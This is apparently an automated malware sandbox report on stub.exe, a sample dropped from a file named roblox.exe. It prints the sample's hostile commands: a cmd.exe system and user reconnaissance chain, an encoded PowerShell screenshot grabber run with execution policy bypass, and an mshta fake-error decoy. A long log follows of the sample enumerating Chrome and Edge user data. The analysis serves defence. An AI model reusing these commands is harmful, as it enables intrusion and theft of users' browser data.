Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand wwbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aewabwbhagqavwbpahqaaabqageacgb0agkayqbsae4ayqbtaguakaaiafmaeqbzahqazqbtac4arabyageadwbpag4azwaiackadqakagyadqbuagmadabpag8abgagahmaywbyaguazqbuahmaaabvahqakabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdacqaygbvahuabgbkahmalaagacqacabhahqaaaapacaaewanaaoaiaagacaajabiag0acaagad0aiaboaguadwatae8aygbqaguaywb0acaarabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabiag8adqbuagqacwauahcaaqbkahqaaaasacaajabiag8adqbuagqacwauaggazqbpagcaaab0aa0acgagacaaiaakagcacgbhahaaaabpagmacwagad0aiabbaeqacgbhahcaaqbuagcalgbhahiayqbwaggaaqbjahmaxqa6adoargbyag8abqbjag0ayqbnaguakaakagiabqbwackadqakaa0acgagacaaiaakagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoacqaygbvahuabgbkahmalgbmag8aywbhahqaaqbvag4alaagafsarabyageadwbpag4azwauafaabwbpag4adabdadoaogbfag0acab0ahkalaagacqaygbvahuabgbkahmalgbzagkaegblackadqakaa0acgagacaaiaakagiabqbwac4auwbhahyazqaoacqacabhahqaaaapaa0acganaaoaiaagacaajabnahiayqbwaggaaqbjahmalgbeagkacwbwag8acwblacgakqanaaoaiaagacaajabiag0acaauaeqaaqbzahaabwbzaguakaapaa0acgb9aa0acganaaoajabiag8adqbuagqacwagad0aiabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdadoaogbgahiabwbtaewavabsaeiakaawacwaiaawacwaiaaxadkamgawacwaiaaxadaaoaawackadqakacqacabhahqaaaagad0aiaaoaecazqb0ac0asqb0aguabqagac4akqauaeyadqbsagwatgbhag0azqaraciaxabzagmacgblaguabgbzaggabwb0ac4acabuagcaiganaaoacwbjahiazqblag4acwboag8adaagacqaygbvahuabgbkahmaiaakahaayqb0agga"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand wwbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aewabwbhagqavwbpahqaaabqageacgb0agkayqbsae4ayqbtaguakaaiafmaeqbzahqazqbtac4arabyageadwbpag4azwaiackadqakagyadqbuagmadabpag8abgagahmaywbyaguazqbuahmaaabvahqakabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdacqaygbvahuabgbkahmalaagacqacabhahqaaaapacaaewanaaoaiaagacaajabiag0acaagad0aiaboaguadwatae8aygbqaguaywb0acaarabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabiag8adqbuagqacwauahcaaqbkahqaaaasacaajabiag8adqbuagqacwauaggazqbpagcaaab0aa0acgagacaaiaakagcacgbhahaaaabpagmacwagad0aiabbaeqacgbhahcaaqbuagcalgbhahiayqbwaggaaqbjahmaxqa6adoargbyag8abqbjag0ayqbnaguakaakagiabqbwackadqakaa0acgagacaaiaakagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoacqaygbvahuabgbkahmalgbmag8aywbhahqaaqbvag4alaagafsarabyageadwbpag4azwauafaabwbpag4adabdadoaogbfag0acab0ahkalaagacqaygbvahuabgbkahmalgbzagkaegblackadqakaa0acgagacaaiaakagiabqbwac4auwbhahyazqaoacqacabhahqaaaapaa0acganaaoaiaagacaajabnahiayqbwaggaaqbjahmalgbeagkacwbwag8acwblacgakqanaaoaiaagacaajabiag0acaauaeqaaqbzahaabwbzaguakaapaa0acgb9aa0acganaaoajabiag8adqbuagqacwagad0aiabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdadoaogbgahiabwbtaewavabsaeiakaawacwaiaawacwaiaaxadkamgawacwaiaaxadaaoaawackadqakacqacabhahqaaaagad0aiaaoaecazqb0ac0asqb0aguabqagac4akqauaeyadqbsagwatgbhag0azqaraciaxabzagmacgblaguabgbzaggabwb0ac4acabuagcaiganaaoacwbjahiazqblag4acwboag8adaagacqaygbvahuabgbkahmaiaakahaayqb0agga

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\multidict VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop\roblox.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop\roblox.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\Desktop\roblox.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zu VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en_GB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\15702f96-fbc1-4934-99bf-a9a7406c1be7 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\a72670a9-643e-4e4e-b4d5-e6019a48f42a VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_CA VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fr_CA VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\gl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\gu VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zu VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\JumpListIconsRecentWorkspacesV2 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
